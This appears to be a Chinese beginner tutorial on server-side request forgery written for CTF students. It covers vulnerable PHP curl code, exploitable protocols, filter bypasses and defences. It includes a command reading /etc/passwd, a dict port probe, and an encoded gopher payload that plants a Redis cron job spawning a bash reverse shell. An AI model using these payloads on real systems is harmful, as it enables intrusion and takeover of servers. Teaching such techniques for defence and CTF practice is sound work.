SSRF 简介 小白文

发布于 2024-06-25 21:20:07 字数 13818 浏览 20 评论 0

因为近期给实验室想做 ctf web 方向的同学做一些交流,所以回头对 SSRF 漏洞进行了一些总结和归纳,多数还是来自于网上的各种资料,部分为自己的一些理解。比较偏向基础,关于更加深入的东西,可以详看文中附的链接,分析些源码,复现下环境和攻击。

漏洞简介

SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者利用服务器提供的访问接口或参数来控制服务器端发起请求的一个安全漏洞。一般来说,SSRF 攻击的目标是外网无法访问的内网系统(文件、主机、端口等)。之所以能够对内网进行访问,因为服务端对外网攻击者开放,而服务端本身是处于内网中的,由服务器本身发起的请求对于内网中的系统一般来说都是有效的。

归根到底,SSRF 形成的原因在于服务端没有对,目标地址做过滤和限制,并且服务端对外提供了从其他服务器或应用获取数据的功能,这就导致请求和目标地址不可控制,在攻击者的精心构造下,利用服务端发送伪造的请求,使用有缺陷的 web 应用作为代理对服务端的网络系统进行攻击。

一个例子:在 php 中,使用 Curl 进行资源访问请求

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch);
curl_close($ch);
?>

curl_init() //初始化一个 curl 会话
curl_setopt() //设置一个 curl 传输选项
//bool curl_setopt ( resource $ch , int $option , mixed $value )
//ch:curl_init() 返回的 curl 句柄
//option:需要设置的 CURLOPT_XXX 选项
//value:设置在 option 选项上的值

curl_exec() //执行一个 curl 会话
curl_close() //关闭一个 curl 会话

CURLOPT_URL //需要获取的 URL 地址,也可以在 curl_init() 函数中设置
CURLOPT_FOLLOWLOCATION //启用时可将服务器返回的'Location'放在 header 递归
//的返回给服务使用 CURLOPT_MAXREDIRS 可以限定递归返回的数量

CURLOPT_HEADER //启用时会将头文件的信息作为数据流输出
CURLOPT_PROTOCOLS //CURLPROTO_*的位域指,使用时可限定 libcurl 在传输过冲中可以
//使用的协议
CURLPROTO_HTTP //指定 libcurl 使用 http 协议
CURLPROTO_HTTPS //指定 libcurl 使用 https 协议

在上面的例子中,服务器允许用户通过指定 URL,服务端使用 curl 发起网络请求后返回客户端,请求加载文件。
这利用上述代码的一个很简单的 SSRF 的例子,通过使用 file 协议访问服务端的其他数据文件:
http://127.0.0.1/ssrf.php?url=file:///c:\Users\h\Desktop\hello.txt

综上,其实 SSRF 漏洞的根源在于对于请求没有进行过滤,从而导致攻击者可以利用服务端的 web 应用访问其他非授权的信息或文件

SSRF 主要攻击面

主要可实施的攻击
1.对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息(软件开发商,软件名称、版本、服务类型等信息,通过这些信息可以使用某些工具直接去使用相对应的 exp 去攻击);
2.对内网或本地的应用程序进行攻击,攻击方式可能是溢出;
3.对内网的 web 应用进行指纹识别,通过访问默认文件实现;
4.攻击内网的 web 应用,主要为使用 GET 参数就可以进行的攻击(比如 sqli、strusts2 等);
5.利用 file 协议读取本地文件等。

SSRF 漏洞出现的场景

漏洞出现的场景

1.能够对外发起网络请求的地方,就可能存在 SSRF 漏洞;
2.从远程服务器请求资源(Upload from URL, Import & Export RSS Feed);
3.数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB);
4.Webmail 收取其他邮箱插件(POP3、IMAP、SMTP);
5.文件处理、编码处理、属性信息处理(ffmpeg、ImageMagic、DOCX、PDF、XML)。

漏洞出现点

1.分享:通过 URL 地址分享网页内容
2.转码服务
3.在线翻译
4.图片加载与下载:通过 URL 地址加载或下载图片
5.图片、文章收藏功能
6.未公开的 api 实现以及其他调用 URL 的功能
7.从 URL 关键字中寻找

share  
wap
url
file
link
src
source
target
u
3g
display
sourceURl
imageURL
domain
page
file
...

PHP 中容易造成漏洞的函数

curl_exec()   //执行 curl 命令
file_get_contents() //读取文件到字符串中
fsockopen() //打开一个网络连接或者一个 Unix 套接字连接

curl_exec()

参考上文

file_get_contents()

参考: https://www.php.net/manual/en/function.file-get-contents.php
格式:
file_get_contents(path,include_path,context,start,max_length)

与 file() 函数类似,但是这个函数可以从指定的开始位置读取指定长度的文件数据,并将文件读取成字符串中输出,如果读取失败,则返回 FALSE。另外,如果操作系统支持,该函数可以使用内存映射来改善性能。
另:如果打开的 URL 中有特殊字符,则需要使用 urldecode() 进行 URL 编码
参数说明:

path            #必需,请求的文件名
include_path #可选,如果需要在 include_path(在 php.ini 中)中搜索文件的话,需要设置该参数为 '1'。
context #可选,规定文件上下文句柄,context 是一套可以修改流行为的选项,不使用可跳过
start #可选,规定文件中开始读取的位置,从 PHP 5.1 开始使用
max_length #可选,规定读取的字节数,从 PHP5.1 开始使用

fsockopen()

参考: https://www.php.net/manual/zh/function.fsockopen.php

//格式:
fsockopen ( string $hostname [, int $port = -1 [, int &$errno [, string &$errstr [, float $timeout = ini_get("default_socket_timeout") ]]]] ) : resource

//初始化一个套接字连接到指定主机(hostname)。
//PHP 支持以下的套接字传输器类型列表 所支持的套接字传输器(Socket Transports)列表。也可以通过 stream_get_transports() 来获取套接字传输器支持类型。
//参数说明:
hostname //如果安装了 Openssl,则需要在主机名前添加访问协议 ssl://或 tls://,从而可以使用基于 Openssl 的客户端连接到远程主机
port //端口号,如果将其设置为-1,则表示不使用端口,例如 unix://
errno //如果 errno 返回值为 0,则说明函数返回值为 FALSE,错误发生在套接字连接调用之前,最可能的错误是在初始化套接字时发生了错误
errstr //错误信息将以字符串的形式返回
timeout //设置连接的时限,单位为 s
//如果要对套接字上的读写操作设置时间,使用 straek_set_timeout(),timeout 参数只用于套接字连接

//返回值:
//fsockopen() 将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose() 还有 feof())。如果调用失败,将返回 FALSE。
//错误:
//如果 host 不可访问,则抛出一个警告级别(E_WARNING)的错误提示。

常见可利用协议

常用协议参考:
https://3wapp.github.io/WebSecurity/常见协议.html

一些常见的可利用的协议

FILE                           #读取服务器上任意文件内容
IMAP/IMAPS/POP3SMTP/SMTPS #爆破邮件用户名密码
FTP/FTPS #FTP 匿名访问、爆破
DICT #操作内网 Redis 等服务,扫描端口信息
GOPHER #能够将所有操作转成数据流,并将数据流一次发出去,可以用来探测内网的所有服务的所有漏洞
TFTP #UDP 协议扩展

dict

词典服务器协议(DICT)是基于 TCP 事务的查询/响应协议,它允许客户端从一组自然语言词典数据库访问词典定义。
DICT 协议旨在提供对多个数据库的访问。可以请求单词定义,可以搜索单词索引(使用一组容易扩展的算法),可以提供有关服务器的信息(例如,支持哪些索引搜索策略,或者哪些数据库可用),以及信息可以提供有关数据库的信息(例如版权,引用或发行信息)。此外,DICT 协议具有可用于限制对某些或所有数据库的访问的挂钩。

协议格式:

dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
dict://<user>;<auth>@<host>:<port>/m:<word>:<database>:<strat>:<n>

其中,"/d" 语法指定 DEFINE 命令(RFC-2229 3.2 节),而 “/m” 指定 MATCH 命令(RFC-2229 3.3 节)。
“;@”,":","","“和”“中的某些或全部可能省略
通常省略”",表示指定查询单词的第 n 个定义或匹配项。

如果省略 “;@”,则不进行身份验证
如果省略 “: “,则应使用默认端口 2628
如果省略 " " ,”!” 应该使用(见 3.2 节)
如果省略 “”,则为 “.” 应该使用(请参阅第 3.3 节)

“; @” 指定用户名和执行的身份验证类型。
对于 “”,字符串 “AUTH” 指示将执行使用 AUTH 命令的 APOP 身份验证

字符串 “SASLAUTH = <auth_type>” 指示将使用 SASLAUTH 和 SASLRESP 命令,其中 “<auth_type>” 表示将使用的 SASL 身份验证类型。如果为 “<auth_type>”

末尾的冒号可以省略,例如以下 URL,可能指定定义或匹配项:

dict://dict.org/d  :shortcake:
dict://dict.org/d :shortcake:*
dict://dict.org/d :shortcake:wordnet:
dict://dict.org/d :shortcake:wordnet:1
dict://dict.org/d :abcdefgh
dict://dict.org/d :sun
dict://dict.org/d :sun::1

dict://dict.org/m :sun
dict://dict.org/m :sun::soundex
dict://dict.org/m :sun:wordnet::1
dict://dict.org/m :sun::soundex:1
dict://dict.org/m :sun:::

file

本地文件传输协议,File Protocol。主要用于访问本地计算机中的文件。在 ssrf 中,可以利用其访问服务端本机的文件,在
参考:MSDN File Protocol
file 协议的基本格式如下:

file:///文件路径

比如需要打开 E 盘下 txt 目录中的 index.txt,那么在资源管理器或者浏览器地址栏中输入:

file:///E:/txt/index.txt

用 file:///+文件地址,其实等价于文件的地址。即:

file:///C:/Users/CLi/AppData/Local/Temp/WindowsLiveWriter1627300719/supfiles52F410/wangdan-se-436963[2].jpg

等价于:

C:/Users/CLi/AppData/Local/Temp/WindowsLiveWriter1627300719/supfiles52F410/wangdan-se-436963[2].jpg

URI 中为什么本地文件 file 后面跟三个斜杠?
URI 的结构为:

scheme:[//[user:password@]host[:port]][/]path[?query][#fragment]

如果有 host,前面需要加//,因此对于 http 或 https 等网络地址来说会写成:

https://blog.csdn.net/lishanleilixin/article/category/7191777  

这样看上去很自然。如果是文件的话,文件没有 host,所以中间的 host 部分就不要了,就变成了:

file:///lishanleilixin/article/category/7191777

因为如果没有 host 的话,第一个[]的内容就不存在了,这种同意的写法有一个标准叫 CURIE。

gopher

Gopher 协议在 SSRF 中属于万金油,可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求,还可以攻击内网未授权 MySQL。
Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。在 ssrf 时常常会用到 gopher 协议构造 post 包来攻击内网应用。其实构造方法很简单,与 http 协议很类似。
不同的点在于 gopher 协议没有默认端口,所以需要指定 web 端口,而且需要指定 post 方法。回车换行使用%0d%0a。注意 post 参数之间的&分隔符也要进行 url 编码。
总得来说,在 SSRF 中,基于 TCP Stream 且不做交互的点都可以进行攻击利用。利用 Gopher 将进行构造的 TCP 数据流发送到服务端实现攻击。
基本协议格式:

URL:gopher://<host>:<port>/<gopher-path>_后接 TCP 数据流

利用方式

以上面的 php 代码为例

#利用 file 协议任意文件读取
curl -v 'http://sec.com:8082/sec/ssrf.php?url=file:///etc/passwd'

#利用 dict 协议查看端口
curl -v 'http://sec.com:8082/sec/ssrf.php?url=dict://127.0.0.1:22'

#利用 gopher 协议反弹 shell
curl -v 'http://sec.com:8082/sec/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'

对上述进行防御
使用下面代码:
限制协议为 HTTP、HTTPS
设置跳转重定向为 True(默认不跳转)

<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);
// 限制为 HTTPS、HTTP 协议
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}

$url = $_GET['url'];
curl($url);
?>

此时 dict 协议无效,但是可以利用 302 跳转来绕过 http 限制

常见的过滤与绕过

常见的过滤

过滤开头不是 http://xxx.com 的所有链接
过滤格式为 ip 的链接,比如 127.0.0.1
结尾必须是某个后缀

绕过方法

http 基础认证
http://xxx.com@attacker.com
利用 302 跳转( xip.iowww.tinyrul.com
• 当我们访问 xip.io 的子域,比如 127.0.0.1.xip.io 的时候,实际上会被自动重定向到 127.0.0.1
• 如果利用上面的方法会被检测 127.0.0.1 的话,可以利用 www.tinyurl.com 提供的服务来进行绕过
加上#或?即可
更改其他进制的 ip

防范方法

• 限制协议为 HTTP、HTTPS
• 不用限制 302 重定向
• 设置 URL 白名单或者限制内网 IP

参考

SSRF 详解:
https://damit5.com/2018/05/26/SSRF-漏洞学习/
https://wcute.github.io/2018/12/12/SSRF 漏洞学习/
https://www.jianshu.com/p/86bb349baac1

SSRF 环境复现:
https://forum.90sec.com/t/topic/176
进阶环境搭建:
https://github.com/incredibleindishell/SSRF_Vulnerable_Lab

Gopher-SSRF-redis:
https://www.smi1e.top/gopher-ssrf 攻击内网应用复现/
Gopher-SSRF-MYSQL:
http://shaobaobaoer.cn/archives/643/gopher-8de8ae-ssrf-mysql-a0e7b6
利用 Gopher 扩展攻击面:
https://blog.chaitin.cn/gopher-attack-surfaces/

CTFWeb 漏洞 SSRF xctf_oj_web 系列 WP

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

花心好男孩

暂无简介

0 文章
0 评论
24 人气
更多

推荐作者

謌踐踏愛綪

文章 0 评论 0

开始看清了

文章 0 评论 0

高速公鹿

文章 0 评论 0

alipaysp_PLnULTzf66

文章 0 评论 0

热情消退

文章 0 评论 0

白色月光

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文